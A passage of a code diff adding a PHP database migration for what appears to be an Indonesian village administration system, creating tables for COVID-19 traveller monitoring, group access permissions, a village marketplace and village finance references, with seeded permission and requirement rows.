+ ['id' => 9, 'surat_format_id' => 5, 'ref_syarat_id' => 2],
+ ['id' => 10, 'surat_format_id' => 5, 'ref_syarat_id' => 3],
+ ['id' => 11, 'surat_format_id' => 6, 'ref_syarat_id' => 1],
+ ['id' => 12, 'surat_format_id' => 6, 'ref_syarat_id' => 2],
+ ['id' => 13, 'surat_format_id' => 6, 'ref_syarat_id' => 3],
+ ['id' => 14, 'surat_format_id' => 8, 'ref_syarat_id' => 1],
+ ['id' => 15, 'surat_format_id' => 8, 'ref_syarat_id' => 2],
+ ['id' => 16, 'surat_format_id' => 8, 'ref_syarat_id' => 3],
+ ['id' => 17, 'surat_format_id' => 9, 'ref_syarat_id' => 2],
+ ['id' => 18, 'surat_format_id' => 9, 'ref_syarat_id' => 3],
+ ['id' => 19, 'surat_format_id' => 10, 'ref_syarat_id' => 1],
+ ['id' => 20, 'surat_format_id' => 10, 'ref_syarat_id' => 2],
+ ['id' => 21, 'surat_format_id' => 10, 'ref_syarat_id' => 3],
+ ['id' => 22, 'surat_format_id' => 11, 'ref_syarat_id' => 1],
+ ['id' => 23, 'surat_format_id' => 11, 'ref_syarat_id' => 2],
+ ['id' => 24, 'surat_format_id' => 11, 'ref_syarat_id' => 3],
+ ['id' => 25, 'surat_format_id' => 12, 'ref_syarat_id' => 1],
+ ['id' => 26, 'surat_format_id' => 12, 'ref_syarat_id' => 2],
+ ['id' => 27, 'surat_format_id' => 12, 'ref_syarat_id' => 3],
+ ['id' => 28, 'surat_format_id' => 13, 'ref_syarat_id' => 1],
+ ['id' => 29, 'surat_format_id' => 13, 'ref_syarat_id' => 2],
+ ['id' => 30, 'surat_format_id' => 13, 'ref_syarat_id' => 3],
+ ['id' => 31, 'surat_format_id' => 14, 'ref_syarat_id' => 1],
+ ['id' => 32, 'surat_format_id' => 14, 'ref_syarat_id' => 2],
+ ['id' => 33, 'surat_format_id' => 14, 'ref_syarat_id' => 3],
+ ['id' => 34, 'surat_format_id' => 15, 'ref_syarat_id' => 1],
+ ['id' => 35, 'surat_format_id' => 15, 'ref_syarat_id' => 2],
+ ['id' => 36, 'surat_format_id' => 15, 'ref_syarat_id' => 3],
+ ]);
+
+ DB::statement('
+ CREATE TABLE `covid19_pemudik` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_terdata` int(11) DEFAULT NULL,
+ `tanggal_datang` date DEFAULT NULL,
+ `asal_mudik` varchar(255) DEFAULT NULL,
+ `durasi_mudik` varchar(50) DEFAULT NULL,
+ `tujuan_mudik` varchar(255) DEFAULT NULL,
+ `keluhan_kesehatan` varchar(255) DEFAULT NULL,
+ `status_covid` varchar(50) DEFAULT NULL,
+ `no_hp` varchar(20) DEFAULT NULL,
+ `email` varchar(255) DEFAULT NULL,
+ `keterangan` varchar(255) DEFAULT NULL,
+ `is_wajib_pantau` varchar(20) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `fk_pemudik_penduduk` (`id_terdata`),
+ CONSTRAINT `fk_pemudik_penduduk` FOREIGN KEY (`id_terdata`) REFERENCES `tweb_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `covid19_pantau` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_pemudik` int(11) DEFAULT NULL,
+ `tanggal_jam` datetime DEFAULT NULL,
+ `suhu_tubuh` decimal(4,2) DEFAULT NULL,
+ `batuk` varchar(20) DEFAULT NULL,
+ `flu` varchar(20) DEFAULT NULL,
+ `sesak_nafas` varchar(20) DEFAULT NULL,
+ `keluhan_lain` varchar(255) DEFAULT NULL,
+ `status_covid` varchar(50) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `fk_pantau_pemudik` (`id_pemudik`),
+ CONSTRAINT `fk_pantau_pemudik` FOREIGN KEY (`id_pemudik`) REFERENCES `covid19_pemudik` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement("
+ CREATE TABLE `kelompok_anggota` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_kelompok` int(11) NOT NULL,
+ `id_penduduk` int(11) NOT NULL,
+ `no_anggota` varchar(20) DEFAULT NULL,
+ `keterangan` text DEFAULT NULL,
+ `jabatan` varchar(50) DEFAULT '90',
+ `no_sk_jabatan` varchar(50) DEFAULT NULL,
+ `tipe` varchar(100) DEFAULT 'kelompok',
+ `periode` varchar(255) DEFAULT NULL,
+ `nmr_sk_pengangkatan` varchar(255) DEFAULT NULL,
+ `tgl_sk_pengangkatan` date DEFAULT NULL,
+ `nmr_sk_pemberhentian` varchar(255) DEFAULT NULL,
+ `tgl_sk_pemberhentian` date DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ UNIQUE KEY `id_kelompok` (`id_kelompok`,`id_penduduk`),
+ CONSTRAINT `kelompok_anggota_fk` FOREIGN KEY (`id_kelompok`) REFERENCES `kelompok` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ");
+
+ DB::statement('
+ CREATE TABLE `log_keluarga` (
+ `id` int(10) NOT NULL AUTO_INCREMENT,
+ `id_kk` int(11) NOT NULL,
+ `kk_sex` tinyint(2) DEFAULT NULL,
+ `id_peristiwa` int(4) NOT NULL,
+ `tgl_peristiwa` timestamp NOT NULL DEFAULT current_timestamp(),
+ `id_pend` int(11) DEFAULT NULL,
+ `updated_by` int(11) NOT NULL,
+ `id_log_penduduk` int(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ UNIQUE KEY `id_kk` (`id_kk`,`id_peristiwa`,`tgl_peristiwa`,`id_pend`),
+ KEY `log_penduduk_fk` (`id_log_penduduk`),
+ CONSTRAINT `log_penduduk_fk` FOREIGN KEY (`id_log_penduduk`) REFERENCES `log_penduduk` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `grup_akses` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_grup` int(11) NOT NULL,
+ `id_modul` int(11) NOT NULL,
+ `akses` tinyint(4) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_grup` (`id_grup`),
+ KEY `id_modul` (`id_modul`),
+ CONSTRAINT `fk_id_grup` FOREIGN KEY (`id_grup`) REFERENCES `user_grup` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
+ CONSTRAINT `fk_id_modul` FOREIGN KEY (`id_modul`) REFERENCES `setting_modul` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::table('grup_akses')->insert([
+ ['id' => 1, 'id_grup' => 5, 'id_modul' => 3, 'akses' => 0],
+ ['id' => 2, 'id_grup' => 5, 'id_modul' => 27, 'akses' => 3],
+ ['id' => 3, 'id_grup' => 5, 'id_modul' => 206, 'akses' => 0],
+ ['id' => 4, 'id_grup' => 5, 'id_modul' => 207, 'akses' => 7],
+ ['id' => 5, 'id_grup' => 5, 'id_modul' => 208, 'akses' => 7],
+ ['id' => 6, 'id_grup' => 2, 'id_modul' => 1, 'akses' => 3],
+ ['id' => 7, 'id_grup' => 2, 'id_modul' => 2, 'akses' => 0],
+ ['id' => 8, 'id_grup' => 2, 'id_modul' => 3, 'akses' => 0],
+ ['id' => 9, 'id_grup' => 2, 'id_modul' => 4, 'akses' => 0],
+ ['id' => 10, 'id_grup' => 2, 'id_modul' => 5, 'akses' => 0],
+ ['id' => 11, 'id_grup' => 2, 'id_modul' => 6, 'akses' => 3],
+ ['id' => 12, 'id_grup' => 2, 'id_modul' => 7, 'akses' => 0],
+ ['id' => 13, 'id_grup' => 2, 'id_modul' => 8, 'akses' => 3],
+ ['id' => 14, 'id_grup' => 2, 'id_modul' => 9, 'akses' => 0],
+ ['id' => 15, 'id_grup' => 2, 'id_modul' => 10, 'akses' => 0],
+ ['id' => 16, 'id_grup' => 2, 'id_modul' => 11, 'akses' => 0],
+ ['id' => 17, 'id_grup' => 2, 'id_modul' => 13, 'akses' => 0],
+ ['id' => 18, 'id_grup' => 2, 'id_modul' => 14, 'akses' => 0],
+ ['id' => 19, 'id_grup' => 2, 'id_modul' => 15, 'akses' => 0],
+ ['id' => 20, 'id_grup' => 2, 'id_modul' => 17, 'akses' => 3],
+ ['id' => 21, 'id_grup' => 2, 'id_modul' => 18, 'akses' => 3],
+ ['id' => 22, 'id_grup' => 2, 'id_modul' => 20, 'akses' => 3],
+ ['id' => 23, 'id_grup' => 2, 'id_modul' => 21, 'akses' => 3],
+ ['id' => 24, 'id_grup' => 2, 'id_modul' => 22, 'akses' => 3],
+ ['id' => 25, 'id_grup' => 2, 'id_modul' => 23, 'akses' => 3],
+ ['id' => 26, 'id_grup' => 2, 'id_modul' => 24, 'akses' => 3],
+ ['id' => 27, 'id_grup' => 2, 'id_modul' => 25, 'akses' => 3],
+ ['id' => 28, 'id_grup' => 2, 'id_modul' => 26, 'akses' => 3],
+ ['id' => 29, 'id_grup' => 2, 'id_modul' => 27, 'akses' => 3],
+ ['id' => 30, 'id_grup' => 2, 'id_modul' => 28, 'akses' => 3],
+ ['id' => 31, 'id_grup' => 2, 'id_modul' => 29, 'akses' => 3],
+ ['id' => 32, 'id_grup' => 2, 'id_modul' => 30, 'akses' => 3],
+ ['id' => 33, 'id_grup' => 2, 'id_modul' => 31, 'akses' => 3],
+ ['id' => 34, 'id_grup' => 2, 'id_modul' => 32, 'akses' => 3],
+ ['id' => 35, 'id_grup' => 2, 'id_modul' => 33, 'akses' => 3],
+ ['id' => 36, 'id_grup' => 2, 'id_modul' => 39, 'akses' => 3],
+ ['id' => 37, 'id_grup' => 2, 'id_modul' => 40, 'akses' => 3],
+ ['id' => 38, 'id_grup' => 2, 'id_modul' => 41, 'akses' => 3],
+ ['id' => 39, 'id_grup' => 2, 'id_modul' => 42, 'akses' => 3],
+ ['id' => 40, 'id_grup' => 2, 'id_modul' => 47, 'akses' => 3],
+ ['id' => 41, 'id_grup' => 2, 'id_modul' => 48, 'akses' => 3],
+ ['id' => 42, 'id_grup' => 2, 'id_modul' => 49, 'akses' => 3],
+ ['id' => 43, 'id_grup' => 2, 'id_modul' => 50, 'akses' => 3],
+ ['id' => 44, 'id_grup' => 2, 'id_modul' => 51, 'akses' => 3],
+ ['id' => 45, 'id_grup' => 2, 'id_modul' => 52, 'akses' => 3],
+ ['id' => 46, 'id_grup' => 2, 'id_modul' => 53, 'akses' => 3],
+ ['id' => 47, 'id_grup' => 2, 'id_modul' => 54, 'akses' => 3],
+ ['id' => 48, 'id_grup' => 2, 'id_modul' => 55, 'akses' => 3],
+ ['id' => 49, 'id_grup' => 2, 'id_modul' => 56, 'akses' => 3],
+ ['id' => 50, 'id_grup' => 2, 'id_modul' => 57, 'akses' => 3],
+ ['id' => 51, 'id_grup' => 2, 'id_modul' => 58, 'akses' => 3],
+ ['id' => 52, 'id_grup' => 2, 'id_modul' => 61, 'akses' => 3],
+ ['id' => 53, 'id_grup' => 2, 'id_modul' => 62, 'akses' => 3],
+ ['id' => 54, 'id_grup' => 2, 'id_modul' => 63, 'akses' => 3],
+ ['id' => 55, 'id_grup' => 2, 'id_modul' => 64, 'akses' => 3],
+ ['id' => 56, 'id_grup' => 2, 'id_modul' => 65, 'akses' => 3],
+ ['id' => 57, 'id_grup' => 2, 'id_modul' => 66, 'akses' => 3],
+ ['id' => 58, 'id_grup' => 2, 'id_modul' => 67, 'akses' => 3],
+ ['id' => 59, 'id_grup' => 2, 'id_modul' => 68, 'akses' => 3],
+ ['id' => 60, 'id_grup' => 2, 'id_modul' => 69, 'akses' => 3],
+ ['id' => 61, 'id_grup' => 2, 'id_modul' => 70, 'akses' => 3],
+ ['id' => 62, 'id_grup' => 2, 'id_modul' => 71, 'akses' => 3],
+ ['id' => 63, 'id_grup' => 2, 'id_modul' => 72, 'akses' => 3],
+ ['id' => 64, 'id_grup' => 2, 'id_modul' => 73, 'akses' => 3],
+ ['id' => 65, 'id_grup' => 2, 'id_modul' => 75, 'akses' => 3],
+ ['id' => 66, 'id_grup' => 2, 'id_modul' => 76, 'akses' => 3],
+ ['id' => 67, 'id_grup' => 2, 'id_modul' => 77, 'akses' => 3],
+ ['id' => 68, 'id_grup' => 2, 'id_modul' => 78, 'akses' => 3],
+ ['id' => 69, 'id_grup' => 2, 'id_modul' => 79, 'akses' => 3],
+ ['id' => 70, 'id_grup' => 2, 'id_modul' => 80, 'akses' => 3],
+ ['id' => 71, 'id_grup' => 2, 'id_modul' => 81, 'akses' => 3],
+ ['id' => 72, 'id_grup' => 2, 'id_modul' => 82, 'akses' => 3],
+ ['id' => 73, 'id_grup' => 2, 'id_modul' => 83, 'akses' => 3],
+ ['id' => 74, 'id_grup' => 2, 'id_modul' => 84, 'akses' => 3],
+ ['id' => 75, 'id_grup' => 2, 'id_modul' => 85, 'akses' => 3],
+ ['id' => 76, 'id_grup' => 2, 'id_modul' => 86, 'akses' => 3],
+ ['id' => 77, 'id_grup' => 2, 'id_modul' => 87, 'akses' => 3],
+ ['id' => 78, 'id_grup' => 2, 'id_modul' => 88, 'akses' => 3],
+ ['id' => 79, 'id_grup' => 2, 'id_modul' => 89, 'akses' => 3],
+ ['id' => 80, 'id_grup' => 2, 'id_modul' => 90, 'akses' => 3],
+ ['id' => 81, 'id_grup' => 2, 'id_modul' => 91, 'akses' => 3],
+ ['id' => 82, 'id_grup' => 2, 'id_modul' => 92, 'akses' => 3],
+ ['id' => 83, 'id_grup' => 2, 'id_modul' => 93, 'akses' => 3],
+ ['id' => 84, 'id_grup' => 2, 'id_modul' => 94, 'akses' => 3],
+ ['id' => 85, 'id_grup' => 2, 'id_modul' => 95, 'akses' => 3],
+ ['id' => 86, 'id_grup' => 2, 'id_modul' => 96, 'akses' => 3],
+ ['id' => 87, 'id_grup' => 2, 'id_modul' => 97, 'akses' => 3],
+ ['id' => 88, 'id_grup' => 2, 'id_modul' => 98, 'akses' => 3],
+ ['id' => 89, 'id_grup' => 2, 'id_modul' => 101, 'akses' => 3],
+ ['id' => 90, 'id_grup' => 2, 'id_modul' => 200, 'akses' => 0],
+ ['id' => 91, 'id_grup' => 2, 'id_modul' => 201, 'akses' => 0],
+ ['id' => 92, 'id_grup' => 2, 'id_modul' => 202, 'akses' => 3],
+ ['id' => 93, 'id_grup' => 2, 'id_modul' => 203, 'akses' => 3],
+ ['id' => 94, 'id_grup' => 2, 'id_modul' => 205, 'akses' => 3],
+ ['id' => 95, 'id_grup' => 2, 'id_modul' => 206, 'akses' => 0],
+ ['id' => 96, 'id_grup' => 2, 'id_modul' => 207, 'akses' => 7],
+ ['id' => 97, 'id_grup' => 2, 'id_modul' => 208, 'akses' => 7],
+ ['id' => 98, 'id_grup' => 2, 'id_modul' => 209, 'akses' => 3],
+ ['id' => 99, 'id_grup' => 2, 'id_modul' => 210, 'akses' => 3],
+ ['id' => 100, 'id_grup' => 2, 'id_modul' => 211, 'akses' => 3],
+ ['id' => 101, 'id_grup' => 2, 'id_modul' => 212, 'akses' => 3],
+ ['id' => 102, 'id_grup' => 2, 'id_modul' => 213, 'akses' => 3],
+ ['id' => 105, 'id_grup' => 2, 'id_modul' => 301, 'akses' => 0],
+ ['id' => 106, 'id_grup' => 2, 'id_modul' => 302, 'akses' => 3],
+ ['id' => 107, 'id_grup' => 2, 'id_modul' => 303, 'akses' => 3],
+ ['id' => 108, 'id_grup' => 2, 'id_modul' => 304, 'akses' => 3],
+ ['id' => 109, 'id_grup' => 2, 'id_modul' => 305, 'akses' => 3],
+ ['id' => 110, 'id_grup' => 2, 'id_modul' => 310, 'akses' => 3],
+ ['id' => 111, 'id_grup' => 2, 'id_modul' => 311, 'akses' => 3],
+ ['id' => 112, 'id_grup' => 2, 'id_modul' => 312, 'akses' => 3],
+ ['id' => 113, 'id_grup' => 2, 'id_modul' => 314, 'akses' => 3],
+ ['id' => 114, 'id_grup' => 2, 'id_modul' => 315, 'akses' => 3],
+ ['id' => 115, 'id_grup' => 2, 'id_modul' => 316, 'akses' => 3],
+ ['id' => 116, 'id_grup' => 2, 'id_modul' => 317, 'akses' => 3],
+ ['id' => 117, 'id_grup' => 2, 'id_modul' => 318, 'akses' => 3],
+ ['id' => 118, 'id_grup' => 3, 'id_modul' => 13, 'akses' => 0],
+ ['id' => 119, 'id_grup' => 3, 'id_modul' => 47, 'akses' => 7],
+ ['id' => 120, 'id_grup' => 3, 'id_modul' => 48, 'akses' => 7],
+ ['id' => 121, 'id_grup' => 3, 'id_modul' => 49, 'akses' => 7],
+ ['id' => 122, 'id_grup' => 3, 'id_modul' => 50, 'akses' => 7],
+ ['id' => 123, 'id_grup' => 3, 'id_modul' => 51, 'akses' => 7],
+ ['id' => 124, 'id_grup' => 3, 'id_modul' => 53, 'akses' => 7],
+ ['id' => 125, 'id_grup' => 3, 'id_modul' => 54, 'akses' => 7],
+ ['id' => 126, 'id_grup' => 3, 'id_modul' => 64, 'akses' => 7],
+ ['id' => 127, 'id_grup' => 3, 'id_modul' => 205, 'akses' => 7],
+ ['id' => 128, 'id_grup' => 3, 'id_modul' => 211, 'akses' => 7],
+ ['id' => 129, 'id_grup' => 4, 'id_modul' => 13, 'akses' => 0],
+ ['id' => 130, 'id_grup' => 4, 'id_modul' => 47, 'akses' => 3],
+ ['id' => 131, 'id_grup' => 4, 'id_modul' => 50, 'akses' => 3],
+ ['id' => 132, 'id_grup' => 4, 'id_modul' => 51, 'akses' => 3],
+ ['id' => 133, 'id_grup' => 4, 'id_modul' => 54, 'akses' => 3],
+ ['id' => 134, 'id_grup' => 2, 'id_modul' => 319, 'akses' => 3],
+ ['id' => 135, 'id_grup' => 2, 'id_modul' => 110, 'akses' => 3],
+ ['id' => 136, 'id_grup' => 2, 'id_modul' => 111, 'akses' => 3],
+ ['id' => 137, 'id_grup' => 2, 'id_modul' => 320, 'akses' => 3],
+ ['id' => 138, 'id_grup' => 2, 'id_modul' => 321, 'akses' => 3],
+ ['id' => 139, 'id_grup' => 2, 'id_modul' => 322, 'akses' => 3],
+ ['id' => 140, 'id_grup' => 2, 'id_modul' => 323, 'akses' => 3],
+ ['id' => 141, 'id_grup' => 2, 'id_modul' => 305, 'akses' => 3],
+ ['id' => 142, 'id_grup' => 2, 'id_modul' => 214, 'akses' => 3],
+ ['id' => 143, 'id_grup' => 2, 'id_modul' => 324, 'akses' => 3],
+ ['id' => 144, 'id_grup' => 2, 'id_modul' => 43, 'akses' => 3],
+ ['id' => 145, 'id_grup' => 2, 'id_modul' => 44, 'akses' => 1],
+ ['id' => 146, 'id_grup' => 2, 'id_modul' => 45, 'akses' => 3],
+ ['id' => 147, 'id_grup' => 2, 'id_modul' => 46, 'akses' => 3],
+ ['id' => 148, 'id_grup' => 3, 'id_modul' => 65, 'akses' => 7],
+ ['id' => 149, 'id_grup' => 3, 'id_modul' => 324, 'akses' => 7],
+ ['id' => 150, 'id_grup' => 2, 'id_modul' => 325, 'akses' => 3],
+ ['id' => 151, 'id_grup' => 2, 'id_modul' => 326, 'akses' => 3],
+ ['id' => 152, 'id_grup' => 2, 'id_modul' => 327, 'akses' => 3],
+ ['id' => 153, 'id_grup' => 2, 'id_modul' => 328, 'akses' => 3],
+ ['id' => 154, 'id_grup' => 2, 'id_modul' => 329, 'akses' => 3],
+ ['id' => 155, 'id_grup' => 2, 'id_modul' => 330, 'akses' => 3],
+ ['id' => 156, 'id_grup' => 2, 'id_modul' => 332, 'akses' => 3],
+ ['id' => 157, 'id_grup' => 2, 'id_modul' => 334, 'akses' => 3],
+ ['id' => 158, 'id_grup' => 2, 'id_modul' => 333, 'akses' => 3],
+ ['id' => 159, 'id_grup' => 2, 'id_modul' => 335, 'akses' => 3],
+ ['id' => 160, 'id_grup' => 2, 'id_modul' => 220, 'akses' => 3],
+ ['id' => 161, 'id_grup' => 2, 'id_modul' => 336, 'akses' => 3],
+ ['id' => 162, 'id_grup' => 2, 'id_modul' => 313, 'akses' => 3],
+ ['id' => 163, 'id_grup' => 2, 'id_modul' => 331, 'akses' => 3],
+ ]);
+
+ DB::statement('
+ CREATE TABLE `produk` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_pelapak` int(11) DEFAULT NULL,
+ `id_produk_kategori` int(11) DEFAULT NULL,
+ `nama` varchar(255) DEFAULT NULL,
+ `harga` int(11) DEFAULT NULL,
+ `satuan` varchar(20) DEFAULT NULL,
+ `tipe_potongan` tinyint(1) DEFAULT 1,
+ `potongan` int(11) DEFAULT 0,
+ `deskripsi` text DEFAULT NULL,
+ `foto` varchar(225) DEFAULT NULL,
+ `status` tinyint(1) NOT NULL DEFAULT 1,
+ `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ `updated_at` timestamp NOT NULL DEFAULT current_timestamp(),
+ PRIMARY KEY (`id`),
+ KEY `lapak_fk` (`id_pelapak`),
+ KEY `produk_kategori_fk` (`id_produk_kategori`),
+ CONSTRAINT `lapak_fk` FOREIGN KEY (`id_pelapak`) REFERENCES `pelapak` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
+ CONSTRAINT `produk_kategori_fk` FOREIGN KEY (`id_produk_kategori`) REFERENCES `produk_kategori` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_bank_desa` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(50) NOT NULL,
+ `Kd_Desa` varchar(50) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `NoRek_Bank` varchar(100) NOT NULL,
+ `Nama_Bank` varchar(250) NOT NULL,
+ `Kantor_Cabang` varchar(100) DEFAULT NULL,
+ `Nama_Pemilik` varchar(100) DEFAULT NULL,
+ `Alamat_Pemilik` varchar(100) DEFAULT NULL,
+ `No_Identitas` varchar(20) DEFAULT NULL,
+ `No_Telepon` varchar(20) DEFAULT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_bank_desa_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_bank_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_bel_operasional` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `ID_Keg` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_bel_operasional_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_bel_operasional_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_bidang` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Bid` varchar(50) NOT NULL,
+ `Nama_Bidang` varchar(250) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_bidang_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_bunga` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Bunga` varchar(50) NOT NULL,
+ `Kd_Admin` varchar(50) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_bunga_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_bunga_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_desa` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Kec` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Nama_Desa` varchar(250) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_desa_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_kecamatan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Kec` varchar(100) NOT NULL,
+ `Nama_Kecamatan` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_kecamatan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_kecamatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_kegiatan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Bid` varchar(100) DEFAULT NULL,
+ `ID_Keg` varchar(100) NOT NULL,
+ `Nama_Kegiatan` varchar(250) NOT NULL,
+ `Jns_Kegiatan` tinyint(5) DEFAULT NULL,
+ `Kd_Sub` varchar(30) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_kegiatan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_korolari` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_RekDB` varchar(100) NOT NULL,
+ `Kd_RekKD` varchar(250) NOT NULL,
+ `Jenis` varchar(30) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_korolari_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_korolari_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_neraca_close` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kelompok` varchar(250) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_neraca_close_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_neraca_close_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_perangkat` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kode` varchar(100) NOT NULL,
+ `Nama_Perangkat` varchar(250) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_perangkat_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_perangkat_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_potongan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_Potongan` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_potongan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_potongan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_rek1` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Akun` varchar(100) NOT NULL,
+ `Nama_Akun` varchar(100) NOT NULL,
+ `NoLap` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_rek1_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_rek1_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_rek2` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Akun` varchar(100) NOT NULL,
+ `Kelompok` varchar(100) NOT NULL,
+ `Nama_Kelompok` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_rek2_master_fk` (`id_keuangan_master`),
